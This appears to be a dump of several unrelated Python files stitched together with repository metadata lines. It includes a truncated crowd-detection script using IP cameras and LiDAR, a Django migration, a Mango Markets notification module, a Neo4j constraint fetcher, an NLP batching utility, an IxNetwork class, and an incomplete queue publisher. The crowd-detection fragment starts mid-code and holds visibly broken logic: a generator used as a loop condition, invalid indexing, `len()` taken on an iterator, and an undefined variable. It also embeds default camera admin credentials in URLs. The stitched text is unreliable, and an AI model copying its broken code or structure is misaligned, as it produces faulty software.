cv2.VideoCapture('http://admin:[email protected]/camera-cgi/admin/recorder.cgi?action=start&id=samba') #cap = cv2.VideoCapture('http://admin:[email protected]/recorder.cgi?action=start&id=samba') #cap = cv2.VideoCapture('http://admin:[email protected]:80/snapshot.jpg?user=admin&pwd=admin&strm=0') print('-1') #assert cap.isOpened(), 'Cannot capture source' #カメラが起動できたか確認 img1 = cv2.imread("images/phase_1.jpg") img2 = cv2.imread("images/phase_2.jpg") img3 = cv2.imread("images/phase_2_red.jpg") img4 = cv2.imread("images/phase_3.jpg") #mixer.music.load("voice/voice_3.m4a") #print(img1) frames = 0 count_frame = 0 #フレーム数カウント flag = 0 #密状態(0:疎密,1:密入り) start = time.time() print('-1') while (cap[i].isOpened() for i in range(num_camera)): #カメラが起動している間 count=0 #人数をカウント point = [[] for i in range(num_camera)] for i in range(num_camera): ret[i], frame[i] = cap[i].read() #キャプチャ画像を取得 if (ret[i] for i in range(num_camera)): # 解析準備としてキャプチャ画像を加工 for i in range(num_camera): img[i], orig_im[i], dim[i] = prep_image(frame[i], inp_dim[i]) if CUDA: for i in range(num_camera): im_dim[i] = im_dim[i].cuda() img[i] = img[i].cuda() for i in range(num_camera): # output[i] = model[i](Variable(img[i]), CUDA) output = model[i](Variable(img[i]), CUDA) #print("output:\n", output) # output[i] = write_results(output[i], confidence, num_classes, nms = True, nms_conf = nms_thesh) output = write_results(output, confidence, num_classes, nms = True, nms_conf = nms_thesh) # print("output", i, ":\n", output[i]) print(output.shape) """ # FPSの表示 if (type(output[i]) == int for i in range(num_camera)): print("表示") frames += 1 print("FPS of the video is {:5.2f}".format( frames / (time.time() - start))) # qキーを押すとFPS表示の終了 key = cv2.waitKey(1) if key & 0xFF == ord('q'): break continue for i in range(num_camera): output[i][:,1:5] = torch.clamp(output[i][:,1:5], 0.0, float(inp_dim[i]))/inp_dim[i] output[i][:,[1,3]] *= frame[i].shape[1] output[i][:,[2,4]] *= frame[i].shape[0] """ # FPSの表示 if type(output) == int: print("表示") frames += 1 print("FPS of the video is {:5.2f}".format( frames / (time.time() - start))) # qキーを押すとFPS表示の終了 key = cv2.waitKey(1) if key & 0xFF == ord('q'): break continue for i in range(num_camera): output[:,1:5] = torch.clamp(output[:,1:5], 0.0, float(inp_dim[i]))/inp_dim[i] output[:,[1,3]] *= frame[i].shape[1] output[:,[2,4]] *= frame[i].shape[0] colors = pkl.load(open("pallete", "rb")) #count = lambda x: count(x, orig_im, count) #人数をカウント """ for i in range(num_camera): list(map(lambda x: write(x, orig_im[i]), output[i])) print("count:\n",count) """ for i in range(num_camera): list(map(lambda x: write(x, orig_im[i], i), output)) print("count:\n",count) print("count_frame", count_frame) print("framex", frame[0].shape[1]) print("framey", frame[0].shape[0]) print("point0",point[0]) #LiDARの情報の人識別 num_person = 0 radian_lists = [] for count, (radian, length) in enumerate(LiDAR): radian_cam = [[] for i in range(len(point))] if count % 90 == 0: radian_list = [] if count < 90: for num, p in enumerate(point[0]): radian_cam[num] = p[0] / frame[0].shape[1] * 100 for dif in range(10): for radi_num in range(len(radian_cam)): if int(radian)+dif-5 == int(radian_cam[radi_num]): num_person += 1 radian_list.append(radian) elif count < 180: for num, p in enumerate(point[0]): radian_cam[num] = p[0] / frame[0].shape[1] * 100 for dif in range(10): if int(radian)+dif-5 == int(radian_cam): num_person += 1 radian_list.append(radian) elif count < 270: for num, p in enumerate(point[0]): radian_cam[num] = p[0] / frame[0].shape[1] * 100 for dif in range(10): if int(radian)+dif-5 == int(radian_cam): num_person += 1 radian_list.append(radian) else: for num, p in enumerate(point[0]): radian_cam[num] = p[0] / frame[0].shape[1] * 100 for dif in range(10): if int(radian)+dif-5 == int(radian_cam): num_person += 1 radian_list.append(radian) radian_lists.append(radian_list) dis_list = [] for direction in range(4): if len(radian_lists[direction]) > 1: # n = combinations_count(len(radian_lists[direction]), 2) dis_combination = itertools.combinations(radian_lists[direction], 2) distance = [[] for i in range(len(dis_combination))] for num_dis, com_list in enumerate(dis_combination): distance[num_dis] = cosineTheorem(Lidar,com_list[0], com_list[1]) dis_list.append(distance) #密集判定 close_list = [0] * 4 dense_list = [0] * 4 for direction in range(4): close = 0 #密接数 dense = 0 #密集数 for dis in distance[distance]: if dis < 2: close += 1 close_list[direction] = 1 if close > 1: dense_list[direction] = 1 print("close_list", close_list) print("dense_list", dense_list) # print("point1",point[1]) if count > max: count_frame += 1 #print("-1") if count_frame <= 50: x=0 y=0 angle=20 scale=1.5 for i in range(num_camera): imgpaste = cvpaste(img1, orig_im[i], x, y, angle, scale) if flag == 1: play.googlehome() flag += 1 #mixer.music.play(1) elif count_frame <= 100: x=-30 y=10 angle=20 scale=1.1 if count_frame%2==1: for i in range(num_camera): imgpaste = cvpaste(img2, orig_im[i], x, y, angle, scale) else: for i in range(num_camera): imgpaste = cvpaste(img3, orig_im[i], x, y, angle, scale) if flag == 2: play.googlehome() flag += 1 else: x=-30 y=0 angle=20 scale=1.5 for i in range(num_camera): imgpaste = cvpaste(img4, orig_im[i], x, y, angle, scale) if count_frame > 101: #<--2フレームずらす print("\007") #警告音 time.sleep(3) if flag == 3: play.googlehome() flag += 1 cv2.imshow("frame", imgpaste) else: count_frame = 0 flag = 0 #print("-2") for i in range(num_camera): cv2.imshow("frame", orig_im[i]) # play.googlehome() key = cv2.waitKey(1) # qキーを押すと動画表示の終了 if key & 0xFF == ord('q'): break frames += 1 print("count_frame:\n", count_frame) print("FPS of the video is {:5.2f}".format( frames / (time.time() - start))) else: break
6b1a21e187c9c79f07f14c5b2f5a3a03fcf94808
c7b4baa2779a0fc02e363f07c88b4d1d8cc33ffe
/gahtc/website/migrations/0017_auto_20151121_2057.py
000afaafe3f0c79142b2d2f5dc90553177043f8f
[]
no_license
NiJeLorg/GAHTC
6d5c8b2d4b9244c8874ad60c16cd7d55a3535075
8ba3360f6e2a8ad0b937a60c3c022eaac4a7cd46
refs/heads/master
2022-12-08T19:26:05.800635
2018-06-07T02:31:43
2018-06-07T02:31:43
41,111,268
2
0
null
2022-11-22T01:43:36
2015-08-20T18:07:02
HTML
UTF-8
Python
false
false
1,262
py
# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('website', '0016_bundlelecturesegments'), ] operations = [ migrations.AlterField( model_name='lecturedocuments', name='created', field=models.DateTimeField(auto_now_add=True), ), migrations.AlterField( model_name='lectures', name='created', field=models.DateTimeField(auto_now_add=True), ), migrations.AlterField( model_name='lecturesegments', name='created', field=models.DateTimeField(auto_now_add=True), ), migrations.AlterField( model_name='lectureslides', name='created', field=models.DateTimeField(auto_now_add=True), ), migrations.AlterField( model_name='moduledocuments', name='created', field=models.DateTimeField(auto_now_add=True), ), migrations.AlterField( model_name='modules', name='created', field=models.DateTimeField(auto_now_add=True), ), ]
bdd3bf6fba4bd626f99d89450d76ac05362a99e1
a0afdd22430c9324278e21cb2ec71172fa9d9136
/mango/notification.py
036c84e556a09be80caaae29c9b60e7b56373f54
[ "LicenseRef-scancode-warranty-disclaimer", "MIT" ]
permissive
jeromeku/mango-explorer
8e00cdc5f9154184004afb02637dd10bb98be089
5d26b782e25886d794b1f90cbf761fb9ce3100b7
refs/heads/master
2023-07-18T05:08:21.882520
2021-08-16T21:42:38
2021-08-16T21:42:38
null
0
0
null
null
null
null
UTF-8
Python
false
false
11,379
py
# # ⚠ Warning # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT # LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN # NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE # SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # # [🥭 Mango Markets](https://mango.markets/) support is available at: # [Docs](https://docs.mango.markets/) # [Discord](https://discord.gg/67jySBhxrg) # [Twitter](https://twitter.com/mangomarkets) # [Github](https://github.com/blockworks-foundation) # [Email](mailto:[email protected]) import abc import csv import logging import os.path import requests import typing from urllib.parse import unquote from .liquidationevent import LiquidationEvent # # 🥭 Notification # # This file contains code to send arbitrary notifications. # # # 🥭 NotificationTarget class # # This base class is the root of the different notification mechanisms. # # Derived classes should override `send_notification()` to implement their own sending logic. # # Derived classes should not override `send()` since that is the interface outside classes call and it's used to ensure `NotificationTarget`s don't throw an exception when sending. # class NotificationTarget(metaclass=abc.ABCMeta): def __init__(self): self.logger: logging.Logger = logging.getLogger(self.__class__.__name__) def send(self, item: typing.Any) -> None: try: self.send_notification(item) except Exception as exception: self.logger.error(f"Error sending {item} - {self} - {exception}") @abc.abstractmethod def send_notification(self, item: typing.Any) -> None: raise NotImplementedError("NotificationTarget.send() is not implemented on the base type.") def __repr__(self) -> str: return f"{self}" # # 🥭 TelegramNotificationTarget class # # The `TelegramNotificationTarget` sends messages to Telegram. # # The format for the telegram notification is: # 1. The word 'telegram' # 2. A colon ':' # 3. The chat ID # 4. An '@' symbol # 5. The bot token # # For example: # ``` # telegram:<CHAT-ID>@<BOT-TOKEN> # ``` # # The [Telegram instructions to create a bot](https://core.telegram.org/bots#creating-a-new-bot) # show you how to create the bot token. class TelegramNotificationTarget(NotificationTarget): def __init__(self, address): super().__init__() chat_id, bot_id = address.split("@", 1) self.chat_id = chat_id self.bot_id = bot_id def send_notification(self, item: typing.Any) -> None: payload = {"disable_notification": True, "chat_id": self.chat_id, "text": str(item)} url = f"https://api.telegram.org/bot{self.bot_id}/sendMessage" headers = {"Content-Type": "application/json"} requests.post(url, json=payload, headers=headers) def __str__(self) -> str: return f"Telegram chat ID: {self.chat_id}" # # 🥭 DiscordNotificationTarget class # # The `DiscordNotificationTarget` sends messages to Discord. # class DiscordNotificationTarget(NotificationTarget): def __init__(self, address): super().__init__() self.address = address def send_notification(self, item: typing.Any) -> None: payload = { "content": str(item) } url = self.address headers = {"Content-Type": "application/json"} requests.post(url, json=payload, headers=headers) def __str__(self) -> str: return "Discord webhook" # # 🥭 MailjetNotificationTarget class # # The `MailjetNotificationTarget` sends an email through [Mailjet](https://mailjet.com). # # In order to pass everything in to the notifier as a single string (needed to stop # command-line parameters form getting messy), `MailjetNotificationTarget` requires a # compound string, separated by colons. # ``` # mailjet:<MAILJET-API-KEY>:<MAILJET-API-SECRET>:FROM-NAME:FROM-ADDRESS:TO-NAME:TO-ADDRESS # # ``` # Individual components are URL-encoded (so, for example, spaces are replaces with %20, # colons are replaced with %3A). # # * `<MAILJET-API-KEY>` and `<MAILJET-API-SECRET>` are from your [Mailjet](https://mailjet.com) account. # * `FROM-NAME` and `TO-NAME` are just text fields that are used as descriptors in the email messages. # * `FROM-ADDRESS` is the address the email appears to come from. This must be validated with [Mailjet](https://mailjet.com). # * `TO-ADDRESS` is the destination address - the email account to which the email is being sent. # # Mailjet provides a client library, but really we don't need or want more dependencies. This` # code just replicates the `curl` way of doing things: # ``` # curl -s \ # -X POST \ # --user "$MJ_APIKEY_PUBLIC:$MJ_APIKEY_PRIVATE" \ # https://api.mailjet.com/v3.1/send \ # -H 'Content-Type: application/json' \ # -d '{ # "SandboxMode":"true", # "Messages":[ # { # "From":[ # { # "Email":"[email protected]", # "Name":"Your Mailjet Pilot" # } # ], # "HTMLPart":"<h3>Dear passenger, welcome to Mailjet!</h3><br />May the delivery force be with you!", # "Subject":"Your email flight plan!", # "TextPart":"Dear passenger, welcome to Mailjet! May the delivery force be with you!", # "To":[ # { # "Email":"[email protected]", # "Name":"Passenger 1" # } # ] # } # ] # }' # ``` class MailjetNotificationTarget(NotificationTarget): def __init__(self, encoded_parameters): super().__init__() self.address = "https://api.mailjet.com/v3.1/send" api_key, api_secret, subject, from_name, from_address, to_name, to_address = encoded_parameters.split(":") self.api_key: str = unquote(api_key) self.api_secret: str = unquote(api_secret) self.subject: str = unquote(subject) self.from_name: str = unquote(from_name) self.from_address: str = unquote(from_address) self.to_name: str = unquote(to_name) self.to_address: str = unquote(to_address) def send_notification(self, item: typing.Any) -> None: payload = { "Messages": [ { "From": { "Email": self.from_address, "Name": self.from_name }, "Subject": self.subject, "TextPart": str(item), "To": [ { "Email": self.to_address, "Name": self.to_name } ] } ] } url = self.address headers = {"Content-Type": "application/json"} requests.post(url, json=payload, headers=headers, auth=(self.api_key, self.api_secret)) def __str__(self) -> str: return f"Mailjet notifications to '{self.to_name}' '{self.to_address}' with subject '{self.subject}'" # # 🥭 CsvFileNotificationTarget class # # Outputs a liquidation event to CSV. Nothing is written if the item is not a # `LiquidationEvent`. # # Headers for the CSV file should be: # ``` # "Timestamp","Liquidator Name","Group","Succeeded","Signature","Wallet","Margin Account","Token Changes" # ``` # Token changes are listed as pairs of value plus symbol, so each token change adds two # columns to the output. Token changes may arrive in different orders, so ordering of token # changes is not guaranteed to be consistent from transaction to transaction. # class CsvFileNotificationTarget(NotificationTarget): def __init__(self, filename): super().__init__() self.filename = filename def send_notification(self, item: typing.Any) -> None: if isinstance(item, LiquidationEvent): event: LiquidationEvent = item if not os.path.isfile(self.filename) or os.path.getsize(self.filename) == 0: with open(self.filename, "w") as empty_file: empty_file.write( '"Timestamp","Liquidator Name","Group","Succeeded","Signature","Wallet","Margin Account","Token Changes"\n') with open(self.filename, "a") as csvfile: result = "Succeeded" if event.succeeded else "Failed" row_data = [event.timestamp, event.liquidator_name, event.group_name, result, event.signature, event.wallet_address, event.margin_account_address] for change in event.changes: row_data += [f"{change.value:.8f}", change.token.name] file_writer = csv.writer(csvfile, quoting=csv.QUOTE_MINIMAL) file_writer.writerow(row_data) def __str__(self) -> str: return f"CSV notifications to file {self.filename}" # # 🥭 FilteringNotificationTarget class # # This class takes a `NotificationTarget` and a filter function, and only calls the # `NotificationTarget` if the filter function returns `True` for the notification item. # class FilteringNotificationTarget(NotificationTarget): def __init__(self, inner_notifier: NotificationTarget, filter_func: typing.Callable[[typing.Any], bool]): super().__init__() self.inner_notifier: NotificationTarget = inner_notifier self.filter_func = filter_func def send_notification(self, item: typing.Any) -> None: if self.filter_func(item): self.inner_notifier.send_notification(item) def __str__(self) -> str: return f"Filtering notification target for '{self.inner_notifier}'" # # 🥭 NotificationHandler class # # A bridge between the worlds of notifications and logging. This allows any # `NotificationTarget` to be plugged in to the `logging` subsystem to receive log messages # and notify however it chooses. # class NotificationHandler(logging.StreamHandler): def __init__(self, target: NotificationTarget): logging.StreamHandler.__init__(self) self.target = target def emit(self, record): # Don't send error logging from solanaweb3 if record.name == "solanaweb3.rpc.httprpc.HTTPClient": return message = self.format(record) self.target.send_notification(message) # # 🥭 parse_subscription_target() function # # `parse_subscription_target()` takes a parameter as a string and returns a notification # target. # # This is most likely used when parsing command-line arguments - this function can be used # in the `type` parameter of an `add_argument()` call. # def parse_subscription_target(target): protocol, destination = target.split(":", 1) if protocol == "telegram": return TelegramNotificationTarget(destination) elif protocol == "discord": return DiscordNotificationTarget(destination) elif protocol == "mailjet": return MailjetNotificationTarget(destination) elif protocol == "csvfile": return CsvFileNotificationTarget(destination) else: raise Exception(f"Unknown protocol: {protocol}")
1fbca8a60b71a90686126ab10fe2745039344b6c
84a5c4c2e0977d42425771098f5f881c750da7f0
/neomodel_constraints/fetcher/constraints/v4_1.py
3bb76bcc8e48273575a33bd210c5b02c050d2956
[]
no_license
SSripilaipong/neomodel-constraints
6c3023ba156275e48f5f7ebcbdd283ce8d41f9a1
4b91185ba9eec993c58e9ae770fd3d0e90f915ae
refs/heads/main
2023-07-15T09:58:41.451631
2021-08-29T13:19:38
2021-08-29T13:19:38
390,312,509
1
0
null
null
null
null
UTF-8
Python
false
false
1,883
py
import re from typing import List, Dict from neomodel_constraints.connection import ConnectionAbstract from neomodel_constraints.constraint import ConstraintSet, TypeMapperAbstract from neomodel_constraints.fetcher.abstract import FetcherAbstract from .data import Neo4jConstraintQueryRecord from .util import convert_constraints_with_type_mapper def extract_record_detail(detail: str) -> Dict: param_str = re.findall(r'^Constraint\((.*)\)$', detail)[0] id_ = re.findall(r"id=(\d+?),", param_str)[0] name = re.findall(r"name='(\w+?)',", param_str)[0] type_ = re.findall(r"type='(\w+?)',", param_str)[0] label, prop = re.findall(r"schema=\(:([^ ]+) {(\w+)}\)", param_str)[0] owned_index = re.findall(r"ownedIndex=(\d+)", param_str)[0] return { 'id': id_, 'ownedIndexId': owned_index, 'entityType': 'NODE', 'labelsOrTypes': [label], 'type': type_, 'name': name, 'properties': [prop], } class ConstraintsFetcher(FetcherAbstract): def __init__(self, connection: ConnectionAbstract, type_mapper: TypeMapperAbstract): self.connection: ConnectionAbstract = connection self.type_mapper: TypeMapperAbstract = type_mapper def _fetch_raw_data(self) -> List[Neo4jConstraintQueryRecord]: raw = self.connection.execute('CALL db.constraints') records = [extract_record_detail(record['details']) for record in raw] return [Neo4jConstraintQueryRecord(**record) for record in records] def _convert_constraints(self, raw: List[Neo4jConstraintQueryRecord]) -> ConstraintSet: return convert_constraints_with_type_mapper(raw, self.type_mapper) def fetch(self) -> ConstraintSet: raw: List[Neo4jConstraintQueryRecord] = self._fetch_raw_data() constraints: ConstraintSet = self._convert_constraints(raw) return constraints
cc344ab268871e68262997bb1a4edd0560a0baf8
9467f3a54b19098766a3b0341eaac51617fc321b
/utils/build_batch.py
7fafcc95dbe491be9a2c7c8f0a11100d7a88fc38
[]
no_license
liangjies/Sentiment-Analysis
1eedaa583d68536f92944b59ee6f8b6dedbc4a99
beca6c6612cc3b38b28d711eb39eb72424bdde00
refs/heads/master
2020-11-24T05:25:56.081258
2019-12-19T08:21:32
2019-12-19T08:21:32
227,983,207
0
0
null
2019-12-14T07:24:42
2019-12-14T07:24:41
null
UTF-8
Python
false
false
6,387
py
#!/usr/bin/env python # encoding: utf-8 """ @version: python3.6 @author: 'zenRRan' @license: Apache Licence @contact: [email protected] @software: PyCharm @file: build_batch.py @time: 2018/10/15 10:44 """ import random class Build_Batch: def __init__(self, features, opts, batch_size, pad_idx, char_padding_id,rel_padding_id=None): self.batch_size = batch_size self.features = features self.shuffle = opts.shuffle self.sort = opts.sort self.batch_num = 0 self.batch_features = [] self.data_batchs = [] # [(data, label)] self.PAD = pad_idx self.CPAD = char_padding_id self.RPAD = rel_padding_id random.seed(opts.seed) def create_same_sents_length_one_batch(self): ''' :return:[[[x x x x] [x x x x]] [[x x x o] [x x x o] [x x x o]]] ''' self.features = self.sort_features(self.features) new_list = [] self.batch_features = [] self.data_batchs = [] same_len = True for feature in self.features: if len(new_list) != 0 and len(feature.words) != len(new_list[-1].words): same_len = False if same_len and len(new_list) < self.batch_size: new_list.append(feature) else: new_list = self.shuffle_data(new_list) self.batch_features.append(new_list) ids, char_ids, labels, forest, heads, children_batch_list, tag_rels = self.choose_data_from_features(new_list) ids_lengths = [len(id) for id in ids] ids = self.add_pad(ids, self.PAD) tag_rels = self.add_pad(tag_rels, self.RPAD) char_ids = self.add_char_pad(char_ids, ids, self.CPAD) self.data_batchs.append((ids, labels, char_ids, forest, heads, children_batch_list, ids_lengths, tag_rels)) new_list = [] same_len = True new_list.append(feature) self.batch_features = self.shuffle_data(self.batch_features) self.data_batchs = self.shuffle_data(self.data_batchs) return self.batch_features, self.data_batchs def create_sorted_normal_batch(self): ''' :return: [[[x x o o] [x x x o] [x x x o]] [[x x x o] [x x x x]]] ''' self.features = self.sort_features(self.features) new_list = [] self.batch_features = [] self.data_batchs = [] self.features.append([]) for idx, feature in enumerate(self.features): if len(new_list) < self.batch_size and idx+1 != len(self.features): new_list.append(feature) else: self.batch_num += 1 new_list = self.shuffle_data(new_list) self.batch_features.append(new_list) ids, char_ids, labels, forest, heads, children_batch_list, tag_rels = self.choose_data_from_features(new_list) ids_lengths = [len(id) for id in ids] ids = self.add_pad(ids, self.PAD) tag_rels = self.add_pad(tag_rels, self.RPAD) char_ids = self.add_char_pad(char_ids, ids, self.CPAD) self.data_batchs.append((ids, labels, char_ids, forest, heads, children_batch_list, ids_lengths, tag_rels)) new_list = [] new_list.append(feature) self.batch_features = self.shuffle_data(self.batch_features) self.data_batchs = self.shuffle_data(self.data_batchs) return self.batch_features, self.data_batchs def choose_data_from_features(self, features): ids = [] char_ids = [] labels = [] heads = [] forest = [] # bfs_batch_list = [] children_batch_list = [] tag_rels = [] for feature in features: ids.append(feature.ids) char_ids.append(feature.char_ids) labels.append(feature.label) heads.append(feature.heads) forest.append(feature.root) # bfs_batch_list.append(feature.bfs_list) tag_rels.append(feature.rels_ids) rel = [tree.children_index_list for tree in feature.forest] max_len = feature.length new_rel = [[0 for _ in range(max_len)] for _ in range(max_len)] for i, each in enumerate(rel): for j, index in enumerate(each): new_rel[i][index] = 1 children_batch_list.append(new_rel) return ids, char_ids, labels, forest, heads, children_batch_list, tag_rels def add_char_pad(self, data_list, sents_ids_list, PAD): ''' :param data_list:[[[x x], [x x x],...],[[x], [x x],...]] :param PAD: PAD id :return: [[[x x o], [x x x],...],[[x o], [x x],...]] ''' new_data_list = [] for sent_list, sent in zip(data_list, sents_ids_list): word_len = len(sent) max_len = 0 new_sent_list = [] for word_list in sent_list: max_len = max(max_len, len(word_list)) for word_list in sent_list: new_sent_list.append(word_list + [PAD] * (max_len - len(word_list))) new_data_list.append(new_sent_list + [[PAD] * max_len] * (word_len - len(new_sent_list))) return new_data_list def add_pad(self, data_list, PAD): ''' :param data_list: [[x x x], [x x x x],...] :return: [[x x x o o], [x x x x o],...] ''' max_len = 0 new_data_list = [] for data in data_list: max_len = max(max_len, len(data)) for data in data_list: new_data_list.append(data + [PAD]*(max_len - len(data))) return new_data_list def sort_features(self, features): if self.sort: features = sorted(features, key=lambda feature: feature.length) return features def shuffle_data(self, data): if self.shuffle: random.shuffle(data) return data
5aa0c3741468196957ffba57ea37b13e03fee079
1eab574606dffb14a63195de994ee7c2355989b1
/ixnetwork_restpy/testplatform/sessions/ixnetwork/vport/capture/currentpacket/stack/stack.py
584e79fdba6258677a42f35e8cbaf4e10d7896e7
[ "MIT" ]
permissive
steiler/ixnetwork_restpy
56b3f08726301e9938aaea26f6dcd20ebf53c806
dd7ec0d311b74cefb1fe310d57b5c8a65d6d4ff9
refs/heads/master
2020-09-04T12:10:18.387184
2019-11-05T11:29:43
2019-11-05T11:29:43
219,728,796
0
0
null
2019-11-05T11:28:29
2019-11-05T11:28:26
null
UTF-8
Python
false
false
3,235
py
# MIT LICENSE # # Copyright 1997 - 2019 by IXIA Keysight # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), # to deal in the Software without restriction, including without limitation # the rights to use, copy, modify, merge, publish, distribute, sublicense, # and/or sell copies of the Software, and to permit persons to whom the # Software is furnished to do so, subject to the following conditions: # # The above copyright notice and this permission notice shall be included in # all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN # THE SOFTWARE. from ixnetwork_restpy.base import Base from ixnetwork_restpy.files import Files class Stack(Base): """This object specifies the stack properties. The Stack class encapsulates a list of stack resources that is managed by the system. A list of resources can be retrieved from the server using the Stack.find() method. """ __slots__ = () _SDM_NAME = 'stack' def __init__(self, parent): super(Stack, self).__init__(parent) @property def Field(self): """An instance of the Field class. Returns: obj(ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.capture.currentpacket.stack.field.field.Field) Raises: NotFoundError: The requested resource does not exist on the server ServerError: The server has encountered an uncategorized error condition """ from ixnetwork_restpy.testplatform.sessions.ixnetwork.vport.capture.currentpacket.stack.field.field import Field return Field(self) @property def DisplayName(self): """Refers to the name of the stack. Returns: str """ return self._get_attribute('displayName') def find(self, DisplayName=None): """Finds and retrieves stack data from the server. All named parameters support regex and can be used to selectively retrieve stack data from the server. By default the find method takes no parameters and will retrieve all stack data from the server. Args: DisplayName (str): Refers to the name of the stack. Returns: self: This instance with matching stack data retrieved from the server available through an iterator or index Raises: ServerError: The server has encountered an uncategorized error condition """ return self._select(locals()) def read(self, href): """Retrieves a single instance of stack data from the server. Args: href (str): An href to the instance to be retrieved Returns: self: This instance with the stack data from the server available through an iterator or index Raises: NotFoundError: The requested resource does not exist on the server ServerError: The server has encountered an uncategorized error condition """ return self._read(href)
1259b25afb75ee0bfcc7c6e204f0ba8394d94744
1e82a5c6145fbd6861b863f95613e9406f434559
/function_scheduling_distributed_framework/publishers/base_publisher.py
8febd4bc61059b4b42707d4b0f36cee56e8a3ab1
[ "Apache-2.0" ]
permissive
leiyugithub/distributed_framework
e6c83cf09faa5ee0d6d0ccc1e38fb6729a260c9b
7a9c74e807f51680c25a9956e49ab319a8943a37
refs/heads/master
2020-12-07T13:23:24.354917
2020-01-08T08:18:47
2020-01-08T08:18:47
null
0
0
null
null
null
null
UTF-8
Python
false
false
6,941
py
# -*- coding: utf-8 -*- # @Author : ydf # @Time : 2019/8/8 0008 11:57 import abc import atexit import json import uuid import time import typing from functools import wraps from threading import Lock import amqpstorm from pika.exceptions import AMQPError as PikaAMQPError from function_scheduling_distributed_framework.utils import LoggerLevelSetterMixin, LogManager, decorators, RedisMixin class RedisAsyncResult(RedisMixin): def __init__(self, task_id, timeout=120): self.task_id = task_id self.timeout = timeout self._has_pop = False self._status_and_result = None def set_timeout(self, timeout=60): self.timeout = timeout return self @property def status_and_result(self): if not self._has_pop: self._status_and_result = json.loads(self.redis_db_frame.blpop(self.task_id, self.timeout)[1]) self._has_pop = True return self._status_and_result def get(self): return self.status_and_result['result'] @property def result(self): return self.get() def is_success(self): return self.status_and_result['success'] class PriorityConsumingControlConfig: """ 为每个独立的任务设置控制参数,和函数参数一起发布到中间件。可能有少数时候有这种需求。 例如消费为add函数,可以每个独立的任务设置不同的超时时间,不同的重试次数,是否使用rpc模式。这里的配置优先,可以覆盖生成消费者时候的配置。 """ def __init__(self, function_timeout: float = None, max_retry_times: int = None, is_print_detail_exception: bool = None, msg_expire_senconds: int = None, is_using_rpc_mode: bool = None): self.function_timeout = function_timeout self.max_retry_times = max_retry_times self.is_print_detail_exception = is_print_detail_exception self.msg_expire_senconds = msg_expire_senconds self.is_using_rpc_mode = is_using_rpc_mode def to_dict(self): return self.__dict__ class AbstractPublisher(LoggerLevelSetterMixin, metaclass=abc.ABCMeta, ): has_init_broker = 0 def __init__(self, queue_name, log_level_int=10, logger_prefix='', is_add_file_handler=True, clear_queue_within_init=False, is_add_publish_time=True, ): """ :param queue_name: :param log_level_int: :param logger_prefix: :param is_add_file_handler: :param clear_queue_within_init: :param is_add_publish_time:是否添加发布时间,以后废弃,都添加。 """ self._queue_name = queue_name if logger_prefix != '': logger_prefix += '--' logger_name = f'{logger_prefix}{self.__class__.__name__}--{queue_name}' self.logger = LogManager(logger_name).get_logger_and_add_handlers(log_level_int, log_filename=f'{logger_name}.log' if is_add_file_handler else None) # # self.rabbit_client = RabbitMqFactory(is_use_rabbitpy=is_use_rabbitpy).get_rabbit_cleint() # self.channel = self.rabbit_client.creat_a_channel() # self.queue = self.channel.queue_declare(queue=queue_name, durable=True) self._lock_for_count = Lock() self._current_time = None self.count_per_minute = None self._init_count() self.custom_init() self.logger.info(f'{self.__class__} 被实例化了') self.publish_msg_num_total = 0 self._is_add_publish_time = is_add_publish_time self.__init_time = time.time() atexit.register(self.__at_exit) if clear_queue_within_init: self.clear() def set_is_add_publish_time(self, is_add_publish_time=True): self._is_add_publish_time = is_add_publish_time return self def _init_count(self): with self._lock_for_count: self._current_time = time.time() self.count_per_minute = 0 def custom_init(self): pass def publish(self, msg: typing.Union[str, dict], priority_control_config: PriorityConsumingControlConfig = None): if isinstance(msg, str): msg = json.loads(msg) task_id = f'{self._queue_name}_result:{uuid.uuid4()}' msg['extra'] = extra_params = {'task_id': task_id, 'publish_time': round(time.time(), 4), 'publish_time_format': time.strftime('%Y-%m-%d %H:%M:%S')} if priority_control_config: extra_params.update(priority_control_config.to_dict()) t_start = time.time() decorators.handle_exception(retry_times=10, is_throw_error=True, time_sleep=0.1)(self.concrete_realization_of_publish)(json.dumps(msg,ensure_ascii=False)) self.logger.debug(f'向{self._queue_name} 队列,推送消息 耗时{round(time.time() - t_start, 4)}秒 {msg}') with self._lock_for_count: self.count_per_minute += 1 self.publish_msg_num_total += 1 if time.time() - self._current_time > 10: self.logger.info(f'10秒内推送了 {self.count_per_minute} 条消息,累计推送了 {self.publish_msg_num_total} 条消息到 {self._queue_name} 中') self._init_count() return RedisAsyncResult(task_id) @abc.abstractmethod def concrete_realization_of_publish(self, msg): raise NotImplementedError @abc.abstractmethod def clear(self): raise NotImplementedError @abc.abstractmethod def get_message_count(self): raise NotImplementedError @abc.abstractmethod def close(self): raise NotImplementedError def __enter__(self): return self def __exit__(self, exc_type, exc_val, exc_tb): self.close() self.logger.warning(f'with中自动关闭publisher连接,累计推送了 {self.publish_msg_num_total} 条消息 ') def __at_exit(self): self.logger.warning(f'程序关闭前,{round(time.time() - self.__init_time)} 秒内,累计推送了 {self.publish_msg_num_total} 条消息 到 {self._queue_name} 中') def deco_mq_conn_error(f): @wraps(f) def _deco_mq_conn_error(self, *args, **kwargs): if not self.has_init_broker: 